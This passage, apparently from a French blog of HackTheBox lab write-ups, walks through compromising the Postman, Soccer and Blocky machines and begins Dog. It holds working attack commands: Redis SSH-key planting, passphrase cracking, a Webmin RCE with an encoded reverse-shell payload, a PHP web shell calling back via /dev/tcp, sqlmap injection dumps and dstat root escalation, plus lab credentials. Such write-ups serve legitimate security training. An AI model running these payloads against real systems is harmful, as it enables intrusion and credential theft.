| Bind addresses:
| 0.0.0.0
| ::1
| Client connections:
|_ 10.10.14.13

redis user - SSH key upload

A l’aide la page de hacktricks pentest de Redis (port 6379): https://book.hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html

On teste plusieurs exploit. Finalement, on réussi à upload une clé ssh et à se connecter à l’utilisateur redis.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


┌──(kali㉿kali)-[~/htb/Postman]
└─$ ssh-keygen ...
...
┌──(kali㉿kali)-[~/htb/Postman]
└─$ (echo -e "\n\n"; cat ./id_rsa.pub; echo -e "\n\n") > spaced_key.txt

┌──(kali㉿kali)-[~/htb/Postman]
└─$ cat spaced_key.txt

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMg9HyTSSz/I3DToPpGZ7w5G9qM5cOWCoJB0YfaEngD1Biw1RQVRdcBtQyRa+mnJinaK5h2moZHxJyVagxmxjBrAGm0lB+kQnSNZsYFlSuPAKGu3kW/0xA2xQJMq3g5m9WkFZZVkuV++eCjFj0txnNOOKK1m92hWopoH6oK5UcIdDRPbI7gE+Ju6zTEWUcTZuSpVDhMYfwIsct3kkXIGERsvTESX7I9amEgzPN25B7a5vhbSoey/rb0FHvKP2Fg9AL+fUht/6p5YM8qQRxq/G2S7enRCH2G564hzyBOqr9sIILow7Skf1dJgR1ODI0nVQ6oMKWLz/Ef6h7KPn95/GCHDzrlFJkLNWgRsYTHDsv+fcaev26NDYSV/RIwPo2HhiecJqWBNuixObj/XCA533f3zaqx8XjnDQOkR2RZciZLh7V+unC4Kvm2XyQTwJ0wFWSP4IUxzTYaDCjMIRXpWTxka95lP/4/MPm++m7VmNDYN6ODO+UPpowzT4AuW2i78E= kali@kali


┌──(kali㉿kali)-[~/htb/Postman]
└─$ cat spaced_key.txt | redis-cli -h 10.10.10.160 -x set ssh_key
OK

┌──(kali㉿kali)-[~/htb/Postman]
└─$ redis-cli -h 10.10.10.160
10.10.10.160:6379> config set dir /var/lib/redis/.ssh
OK
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK

┌──(kali㉿kali)-[~/htb/Postman]
└─$ ssh -i id_rsa redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
...
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1

redis@Postman:~$ whoami
redis

redis -> Matt

ssh key backup

Grâce à linpeas, on trouve un fichier .bak avec des clés ssh.

1
2


╔══════════╣ Backup files (limited 100)
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 /opt/id_rsa.bak

Cependant, il faut déchiffrer cette clé et trouver la passphrase. On peut la convertir avec ssh2john puis ensuite tenter de la cracker avec rockyou.txt et john bien sûr :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


┌──(kali㉿kali)-[~/htb/Postman]
└─$ ssh2john ./matt.key > matt.hash

┌──(kali㉿kali)-[~/htb/Postman]
└─$ john --format=ssh matt.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (./matt.key)
1g 0:00:00:00 DONE (2025-03-13 11:08) 3.333g/s 822720p/s 822720c/s 822720C/s comunista..comett
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

On trouve la passphrase ! computer2008

On peut même déchiffrer définitevement la clé pour ne plus écrire le mot de passe:

1
2
3


┌──(kali㉿kali)-[~/htb/Postman]
└─$ openssl rsa -in matt.key -out matt.decrypted_key -passin pass:computer2008
writing RSA key

Cependant, la connexion SSH ne fonctionne pas. La clé n’est plus la bonne, mais la passphrase avec lequel elle etait chiffré nous a permis de nous connecter ensuite avec un “su” depusi le shell précédemment obtenu (user: redis) :

1
2
3
4


redis@Postman:/opt$ su Matt
Password:
Matt@Postman:/opt$ whoami
Matt

Matt - user flag

1
2
3
4
5


Matt@Postman:/opt$ cd
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt
9259.....a41d

Privilege Escalation

Authenticated RCE on webmin 1.910

On avait répérer au début de l’énumeration de la machine, que le service webmin pouvait potentiellement etre vulnérable à une RCE mais il fallait être connecté avec un utilisateur pour pouvoir l’exploiter. Nous avons désormais l’utilisateur Matt avec son mot de passe (computer2008).

En faisant quelques recherches sur internet, on trouve un script python sur github permettant d’exploiter cette vulnérabilité et d’executer des commandes.

En executant linpeas avec l’utilisateur Matt, et meme avec l’utilisateur redis, nous avions remarqué que webmin était executé en tant que root sur la machine ! En arrivant a exploiter la RCE sur webmin, on pourrait donc executer des commandes en tant que root :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
 ╚════════════════════════════════════════════════╝
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
...
redis 656 0.0 0.3 51576 3648 ? Ssl 10:44 0:13 /usr/bin/redis-server 0.0.0.0:6379
root 672 0.0 1.6 331332 14812 ? Ss 10:44 0:00 /usr/sbin/apache2 -k start
www-data 673 0.0 1.1 335856 10116 ? S 10:44 0:00 _ /usr/sbin/apache2 -k start
www-data 674 0.0 1.0 335840 10056 ? S 10:44 0:00 _ /usr/sbin/apache2 -k start
www-data 675 0.0 1.1 335856 10120 ? S 10:44 0:00 _ /usr/sbin/apache2 -k start
...

root 751 0.0 3.1 95308 29348 ? Ss 10:44 0:02 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
## ^^^
## |||
## |||

On execute le python permettant d’exploiter webmin et on obtient un shell en tant que root: ( https://github.com/NaveenNguyen/Webmin-1.910-Package-Updates-RCE/tree/master )

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


┌──(kali㉿kali)-[~/htb/Postman]
└─$ python3 webmin_exploit.py --ip_address 10.10.10.160 --port 10000 --lhost 10.10.14.13 --lport 1337 --user Matt --password computer2008

Webmin 1.9101- 'Package updates' RCE
[+] Generating Payload...
[+] Reverse Payload Generated : u=acl%2Fapt&u=%20%7C%20bash%20-c%20%22%7Becho%2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNC4xMzoxMzM3Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0%2BZmRvcGVuKCRjLHcpO3doaWxlKDw%2BKXtpZigkXz1%2BIC8oLiopLyl7c3lzdGVtICQxO319Oyc%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22&ok_top=Update+Selected+Packages
[+] Attempting to login to Webmin
[+] Login Successful
[+] Attempting to Exploit
[+] Exploited Successfully

----------------------------------------

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.160] 41548
whoami
root
cat /root/root.txt
a417.....1153

HTB | Soccer

Wed, 12 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Soccer	Linux	10.10.11.194	Easy

Users

1

player : PlayerOftheMatch2022

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


┌──(kali㉿kali)-[~/htb/Soccer]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.194
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-10 18:21 EDT

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChXu/2AxokRA9pcTIQx6HKyiO0odku5KmUpklDRNG+9sa6olMd4dSBq1d0rGtsO2rNJRLQUczml6+N5DcCasAZUShDrMnitsRvG54x8GrJyW4nIx4HOfXRTsNqImBadIJtvIww1L7H1DPzMZYJZj/oOwQHXvp85a2hMqMmoqsljtS/jO3tk7NUKA/8D5KuekSmw8m1pPEGybAZxlAYGu3KbasN66jmhf0ReHg3Vjx9e8FbHr3ksc/MimSMfRq0lIo5fJ7QAnbttM5ktuQqzvVjJmZ0+aL7ZeVewTXLmtkOxX9E5ldihtUFj8C6cQroX69LaaN/AXoEZWl/v1LWE5Qo1DEPrv7A6mIVZvWIM8/AqLpP8JWgAQevOtby5mpmhSxYXUgyii5xRAnvDWwkbwxhKcBIzVy4x5TXinVR7FrrwvKmNAG2t4lpDgmryBZ0YSgxgSAcHIBOglugehGZRHJC9C273hs44EToGCrHBY8n2flJe7OgbjEL8Il3SpfUEF0=
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIy3gWUPD+EqFcmc0ngWeRLfCr68+uiuM59j9zrtLNRcLJSTJmlHUdcq25/esgeZkyQ0mr2RZ5gozpBd5yzpdzk=
| 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2Pj1mZ0q8u/E8K49Gezm3jguM3d8VyAYsX0QyaN6H/
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail? syn-ack
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Mon, 10 Mar 2025 22:22:14 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 10 Mar 2025 22:22:14 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>

gobuster - tiny file manager

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


┌──(kali㉿kali)-[~]
└─$ gobuster dir --url http://soccer.htb/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

On arrive ensuite sur une page de connexion “Tiny File Manager”. Après quelques recherches, on essaye les mots de passes par défaut et on trouve :

1

admin : admin@123

Foothold

Tiny file manager RCE : searchsploit

Avec searchsploit on trouve un RCE authentifié.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Soccer]
└─$ searchsploit tiny file manager
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Manx 1.0.1 - '/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/36364.txt
Manx 1.0.1 - '/admin/tiny_mce/plugins/ajaxfilemanager_OLD/ajax_get_file_listing.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/36365.txt
MCFileManager Plugin for TinyMCE 3.2.2.3 - Arbitrary File Upload | php/webapps/15768.txt
Tiny File Manager 2.4.6 - Remote Code Execution (RCE) | php/webapps/50828.sh
TinyMCE MCFileManager 2.1.2 - Arbitrary File Upload | php/webapps/15194.txt
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

RCE exploit

On se connecte les creds par défaut :

admin : admin@123 On peut uploader facilement un fichier php dans le dossier tiny/uploads sur l’interface d’aministration:

Ensuite, on execute un reverse shell. On a mis la commande en base64 pour eviter les bugs avec les caractères spéciaux :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$ http://soccer.htb/tiny/uploads/a.php?cmd=echo+c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvOTAwMSAwPiYx+|+base64+-d+|+bash

----------------------------------

┌──(kali㉿kali)-[~/htb/Soccer]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.194] 34268
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@soccer:~/html/tiny/uploads$ export TERM=xterm
export TERM=xterm
www-data@soccer:~/html/tiny/uploads$ ^Z
zsh: suspended nc -lnvp 9001

┌──(kali㉿kali)-[~/htb/Soccer]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 9001

www-data@soccer:~/html/tiny/uploads$
www-data@soccer:~/html/tiny/uploads$ whoami
www-data
www-data@soccer:~/html/tiny/uploads$ cat /home/player/user.txt
cat: /home/player/user.txt: Permission denied

soc-player.soccer.htb

A l’aide de linpeas, on trouve un autre nom de domaine qui nous donne accès à une nouvelle page.

1
2
3
4
5


www-data@soccer:/tmp$ cat linpeas.out | grep soccer.htb
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
 server_name soc-player.soccer.htb;
 return 301 http://soccer.htb$request_uri;
 server_name soccer.htb;

Searching for football tickets

On arrive sur une page web où l’ont peut créer un compte puis se connecter. On a alors accès à une page avec un Ticket id. On peut rechercher si un ticket existe ou non en ecrivant un ‘id’ de ticket, un nombre entier. Si le site web repond “Ticket exists”, alors le ticket existe. Sinon, si on a “Ticket doesn’t exist”, c’est qu’il n’existe pas. On essaye de tester une injection SQL :

1

1 or 1=1; --

ça fonctionne! Il nous dit que le ticket est valide ! Alors qu’il est bien invalide normalement. On a donc ce qu’on appelle une Boolean (Blind ?) SQL Injection. C’est à dire qu’il faut faire des requetes à l’aveugle, et selon la réponse, Vrai ou faux, on déduit le nom des tables, colonnes etc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71


┌──(kali㉿kali)-[~/htb/Soccer]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --threads 10 --data '{"id":"1"}' --batch -D soccer_db -T accounts --dump
 ___
 __H__
 ___ ___[,]_____ ___ ___ {1.8.11#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
 |_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:14:53 /2025-03-12/

JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[09:14:53] [INFO] resuming back-end DBMS 'mysql'
[09:14:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: {"id":"1 AND (SELECT 3147 FROM (SELECT(SLEEP(5)))ioMT)"}

 Type: boolean-based blind
 Title: OR boolean-based blind - WHERE or HAVING clause
 Payload: {"id":"-3742 OR 8591=8591"}
---
[09:14:56] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[09:14:56] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[09:14:56] [INFO] resumed: 4
[09:14:56] [INFO] retrieving the length of query output
[09:14:56] [INFO] resumed: 5
[09:14:56] [INFO] resumed: email
[09:14:56] [INFO] retrieving the length of query output
[09:14:56] [INFO] resumed: 2
[09:14:56] [INFO] resumed: id
[09:14:56] [INFO] retrieving the length of query output
[09:14:56] [INFO] resumed: 8
[09:14:56] [INFO] resumed: password
[09:14:56] [INFO] retrieving the length of query output
[09:14:56] [INFO] resumed: 8
[09:14:56] [INFO] resumed: username
[09:14:56] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[09:14:56] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[09:14:56] [INFO] retrieved: 1
[09:14:57] [INFO] retrieving the length of query output
[09:14:57] [INFO] retrieved: 17
[09:14:59] [INFO] retrieved: player@player.htb
[09:14:59] [INFO] retrieving the length of query output
[09:14:59] [INFO] retrieved: 4
[09:15:00] [INFO] retrieved: 1324
[09:15:00] [INFO] retrieving the length of query output
[09:15:00] [INFO] retrieved: 20
[09:15:02] [INFO] retrieved: PlayerOftheMatch2022
[09:15:02] [INFO] retrieving the length of query output
[09:15:02] [INFO] retrieved: 6
[09:15:03] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+

[09:15:03] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/kali/.local/share/sqlmap/output/soc-player.soccer.htb/dump/soccer_db/accounts.csv'
[09:15:03] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/soc-player.soccer.htb'

[*] ending @ 09:15:03 /2025-03-12/

SSH connection to “player”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


┌──(kali㉿kali)-[~/htb/Soccer]
└─$ ssh player@soc-player.soccer.htb
The authenticity of host 'soc-player.soccer.htb (10.10.11.194)' can't be established.
ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'soc-player.soccer.htb' (ED25519) to the list of known hosts.
player@soc-player.soccer.htb's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

 System information as of Wed Mar 12 13:15:53 UTC 2025

 System load: 0.0
 Usage of /: 72.7% of 3.84GB
 Memory usage: 29%
 Swap usage: 0%
 Processes: 244
 Users logged in: 0
 IPv4 address for eth0: 10.10.11.194
 IPv6 address for eth0: dead:beef::250:56ff:fe94:b9b0


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ ls
user.txt
player@soccer:~$ cat user.txt
5868.....2f04

Privilege Escalation

SUID Binary : doas

On trouve le binaire SUID “doas” qui semble suspect, grâce à linpeas. En cherchant sur internet, on comprend comment il peut etre exploité. Dans un premier, il faut chercher le fichier de configuration :

1
2
3
4


player@soccer:/usr/local/share/dstat$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:/usr/local/share/dstat$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

On remarque que player à le droit d’executé /usr/bin/dstat en tant que root.

Après quelques recherches, on remarque sur linpeas qu’un dossier “/usr/local/share/dstat” est modifiable par root. Or, dstat a une liste de plugins qu’il peut recherche et load depuis certains dossiers, dont notamment celui là. C’est à dire que si on met un plugin dans ce dossier, nous avons un moyen d’executer le code de ce plugin en executant dstat. Nous avon le droit d’executer dstat en tant que root, le plugin va donc etre loadé puis son code executé avec les permissions super utilisateur :

1
2
3
4
5
6
7
8


player@soccer:/usr/local/share/dstat$ echo 'import os; os.execv("/bin/sh", ["sh"])' > ./dstat_xxx.py
player@soccer:/usr/local/share/dstat$ /usr/local/bin/doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
 import imp
## whoami 
root
## cat /root/root.txt
8217.....cc19

HTB | Blocky

Mon, 10 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Blocky	Linux	10.10.10.37	Easy

Users

1

notch : 8YsqfCTnvxAUeduzjNSXe22

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


┌──(kali㉿kali)-[~/htb/Blocky]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.37
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 ProFTPD 1.3.5a
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqVh031OUgTdcXsDwffHKL6T9f1GfJ1/x/b/dywX42sDZ5m1Hz46bKmbnWa0YD3LSRkStJDtyNXptzmEp31Fs2DUndVKui3LCcyKXY6FSVWp9ZDBzlW3aY8qa+y339OS3gp3aq277zYDnnA62U7rIltYp91u5VPBKi3DITVaSgzA8mcpHRr30e3cEGaLCxty58U2/lyCnx3I0Lh5rEbipQ1G7Cr6NMgmGtW6LrlJRQiWA1OK2/tDZbLhwtkjB82pjI/0T2gpA/vlZJH0elbMXW40Et6bOs2oK/V2bVozpoRyoQuts8zcRmCViVs8B3p7T1Qh/Z+7Ki91vgicfy4fl
| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNgEpgEZGGbtm5suOAio9ut2hOQYLN39Uhni8i4E/Wdir1gHxDCLMoNPQXDOnEUO1QQVbioUUMgFRAXYLhilNF8=
| 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILqVrP5vDD4MdQ2v3ozqDPxG1XXZOp5VPpVsFUROL6Vj
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blocky.htb
|_http-server-header: Apache/2.4.18 (Ubuntu)
8192/tcp closed sophos reset ttl 63
25565/tcp open minecraft syn-ack ttl 63 Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)

Foothold

Wordpress website : jar files

Sur le port 80, on trouve un wordpress avec un endpoint /plugins. En effectuant une requête GET vers cette page, on trouve 2 fichiers dont BlockyCore.jar contenant le mot de passe suivant : 8YsqfCTnvxAUeduzjNSXe22

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


┌──(kali㉿kali)-[~/htb/Blocky]
└─$ strings com/myfirstplugin/BlockyCore.class
com/myfirstplugin/BlockyCore
java/lang/Object
sqlHost
Ljava/lang/String;
sqlUser
sqlPass
<init>
Code
 localhost
root
8YsqfCTnvxAUeduzjNSXe22
LineNumberTable
LocalVariableTable
...

FTP/SSH notch

On trouve le user notch sur la page principale du wordpress. On l’utilise pour se connecter en ftp, avec le mot de passe trouvé précédemmente et ça fonctionne :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


┌──(kali㉿kali)-[~/htb/Blocky]
└─$ ftp 10.10.10.37
Connected to 10.10.10.37.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]
Name (10.10.10.37:kali): notch
331 Password required for notch
Password:
230 User notch logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||25323|)
150 Opening ASCII mode data connection for file list
drwxrwxr-x 7 notch notch 4096 Jul 3 2017 minecraft
-r-------- 1 notch notch 33 Mar 10 09:54 user.txt
226 Transfer complete
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||28224|)
150 Opening BINARY mode data connection for user.txt (33 bytes)
100% |*********************************************************************************************************************************************************************************************| 33 315.94 KiB/s 00:00 ETA
226 Transfer complete
33 bytes received in 00:00 (1.75 KiB/s)
ftp> ^D
221 Goodbye.

┌──(kali㉿kali)-[~/htb/Blocky]
└─$ cat user.txt
28f5.....2047

On peut également se connecte en SSH.

Privilege Escalation

notch -> root

L’utilisateur notch à le droit d’effectuer n’importe quelle commande en tant que root. Il nous suffit donc d’ouvrir un shell avec sudo su pour obtenir les droits root sur la machine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Blocky]
└─$ ssh notch@10.10.10.37
notch@Blocky:~$ sudo -l
[sudo] password for notch:
Matching Defaults entries for notch on Blocky:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
 (ALL : ALL) ALL
notch@Blocky:~$ sudo su
root@Blocky:/home/notch# cat /root/root.txt
dc80.....2689

HTB | Dog

Sun, 09 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Dog	Linux	10.10.11.58	Easy

Users

1
2
3


mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop
tiffany : BackDropJ2024DS2024
johncusack : BackDropJ2024DS2024

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


┌──(kali㉿kali)-[~/htb/Dog]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.58

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJCoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
| 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-git:
